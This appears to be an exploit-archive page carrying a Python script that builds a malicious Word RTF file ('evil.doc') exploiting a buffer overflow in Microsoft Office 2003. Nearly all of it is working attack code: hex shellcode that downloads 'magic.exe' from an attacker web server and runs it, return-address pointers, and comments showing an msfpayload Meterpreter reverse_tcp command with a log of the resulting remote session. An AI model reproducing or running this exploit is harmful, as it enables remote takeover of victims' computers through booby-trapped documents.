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Microsoft Office 2003 Home/Pro Buffer Overflow

Microsoft Office 2003 Home/Pro Buffer Overflow
Posted Jan 8, 2012
Authored by b33f, g11tch

Microsoft Office 2003 Home/Pro buffer overflow exploit with a magic payload download.

tags | exploit, overflow
SHA-256 | a5df7f790abb9961479c3b3d997d64657f4eb426c3b9605dd2ffa79bf09958af

Microsoft Office 2003 Home/Pro Buffer Overflow

Change Mirror Download
#!/usr/bin/python

#
# Note from the Exploit-DB team: This might be the same bug as:
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
#

#-----------------------------------------------------------------------------------#
# Exploit: Microsoft Office 2003 Home/Pro 0day - Tested on XP SP1,2.3 #
# Authors: b33f (Ruben Boonen) && g11tch (Chris Hodges) #
#####################################################################################
# One shellcode to rule them all, One shellcode to find them, One shellcode to #
# bring them all and in the darkness bind them!! #
# #
# Greetings: offsec, corelan, setoolkit #
#####################################################################################
# (1) root@bt:~/Desktop/office# ./office2003.py #
# root@bt:~/Desktop/office# mv evil.doc /var/www/ #
# #
# (2) msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.111.132 LPORT=9988 X #
# > /var/www/magic.exe #
# #
# (3) msf exploit(handler) > exploit #
# #
# [*] Started reverse handler on 192.168.111.132:9988 #
# [*] Starting the payload handler... #
# [*] Sending stage (752128 bytes) to 192.168.111.128 #
# [*] Meterpreter session 1 opened (192.168.111.132:9988 -> 192.168.111.128:1073)#
# at 2012-01-08 18:46:26 +0800 #
# #
# meterpreter > ipconfig #
# #
# MS TCP Loopback interface #
# Hardware MAC: 00:00:00:00:00:00 #
# IP Address : 127.0.0.1 #
# Netmask : 255.0.0.0 #
# #
# AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport #
# Hardware MAC: 00:0c:29:6c:92:42 #
# IP Address : 192.168.111.128 #
# Netmask : 255.255.255.0 #
#-----------------------------------------------------------------------------------#

import binascii

filename = "evil.doc"

#-----------------------------------------------------------------------------------#
# File Structure #
#-----------------------------------------------------------------------------------#
file = (
"{\\rt##{\shp{\sp}}{\shp{\sp}}{\shp{\sp}}{\shp{\*\shpinst\shpfhdr0\shpbxcolumn\s"
"hpbypara\sh pwr2}{\sp{\sn {}{}{\sn}{\sn}{\*\*}pFragments}{\*\*\*}{\sv{\*\*\*\*\*"
"\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}9;2;ffffffffff")

#-----------------------------------------------------------------------------------#
# Open raw socket to download payload to parent directory as "a.exe" #
# ==> cmd execute "a.exe" #
#-----------------------------------------------------------------------------------#
magic = (
"\x65\x62\x37\x37\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30"
"\x38\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65"
"\x30\x38\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39"
"\x34\x66\x31\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63"
"\x32\x34\x32\x34\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x30\x35"
"\x37\x38\x30\x31\x65\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61"
"\x32\x30\x30\x31\x65\x62\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34"
"\x38\x62\x30\x31\x65\x65\x33\x31\x66\x66\x33\x31\x63\x30\x66\x63"
"\x61\x63\x38\x34\x63\x30\x37\x34\x30\x37\x63\x31\x63\x66\x30\x64"
"\x30\x31\x63\x37\x65\x62\x66\x34\x33\x62\x37\x63\x32\x34\x32\x38"
"\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34\x30\x31\x65\x62\x36\x36"
"\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31\x63\x30\x31\x65\x62"
"\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39\x34\x34\x32\x34"
"\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66\x66\x66\x66"
"\x35\x66\x38\x31\x65\x66\x39\x38\x66\x66\x66\x66\x66\x66\x65\x62"
"\x30\x35\x65\x38\x65\x64\x66\x66\x66\x66\x66\x66\x36\x38\x38\x65"
"\x34\x65\x30\x65\x65\x63\x35\x33\x65\x38\x39\x34\x66\x66\x66\x66"
"\x66\x66\x33\x31\x63\x39\x36\x36\x62\x39\x36\x66\x36\x65\x35\x31"
"\x36\x38\x37\x35\x37\x32\x36\x63\x36\x64\x35\x34\x66\x66\x64\x30"
"\x36\x38\x33\x36\x31\x61\x32\x66\x37\x30\x35\x30\x65\x38\x37\x61"
"\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x35\x31\x35\x31\x38\x64"
"\x33\x37\x38\x31\x63\x36\x65\x65\x66\x66\x66\x66\x66\x66\x38\x64"
"\x35\x36\x30\x63\x35\x32\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38"
"\x39\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x35\x62\x66\x66"
"\x66\x66\x66\x66\x34\x31\x35\x31\x35\x36\x66\x66\x64\x30\x36\x38"
"\x37\x65\x64\x38\x65\x32\x37\x33\x35\x33\x65\x38\x34\x62\x66\x66"
"\x66\x66\x66\x66\x66\x66\x64\x30\x36\x33\x36\x64\x36\x34\x32\x65"
"\x36\x35\x37\x38\x36\x35\x32\x30\x32\x66\x36\x33\x32\x30\x32\x30"
"\x36\x31\x32\x65\x36\x35\x37\x38\x36\x35\x30\x30")

#------------------------------------------------------------------------------------------------------------------------------#
# Two versions of office 2003 floating around: #
# (1) Standalone version, (2) XP Service Pack upgrade #
################################################################################################################################
# Unfortunatly though the exploit works perfectly for both versions they require different pointers to ESP... #
# #
# (1) 0x30324366 - CALL ESP - WINWORD.exe => "\x36\x36\x34\x33\x33\x32\x33\x30" #
# => http://download.microsoft.com/download/6/2/3/6233A257-16BD-4C8D-BF4C-6FA59AF9213A/OfficeSTD.exe #
# #
# (2) 0x30402655 - PUSH ESP -> RETN - WINWORD.exe => "\x35\x35\x32\x36\x34\x30\x33\x30" #
# => http://download.microsoft.com/download/7/7/8/778493c2-ace3-44c5-8bc3-d102da80e0f6/Office2003SP3-KB923618-FullFile-ENU.exe #
#------------------------------------------------------------------------------------------------------------------------------#

EIP = "\x36\x36\x34\x33\x33\x32\x33\x30" #should ascii convert the Little Endian pointer

filler = "\x30\x30\x30\x30\x38\x30\x37\x63"*2 + "\x41"*24 + "\x39\x30"*18

buffer = "\x23"*501 + "\x30\x35" + "\x30"*40 + EIP + filler + magic

#-----------------------------------------------------------------------------------#
# Since we are downloading our payload from a remote webserver there are no #
# restrictions on payload size or badcharacters... #
#-----------------------------------------------------------------------------------#

URL = "http://192.168.111.132/magic.exe"
binnu = binascii.b2a_hex(URL)

URL2 = "00"
nxt="{}}}}}}"
nxt+="\x0d\x0a"
nxt+="}"

textfile = open(filename , 'w')
textfile.write(file+buffer+binnu+URL2+nxt)
textfile.close()


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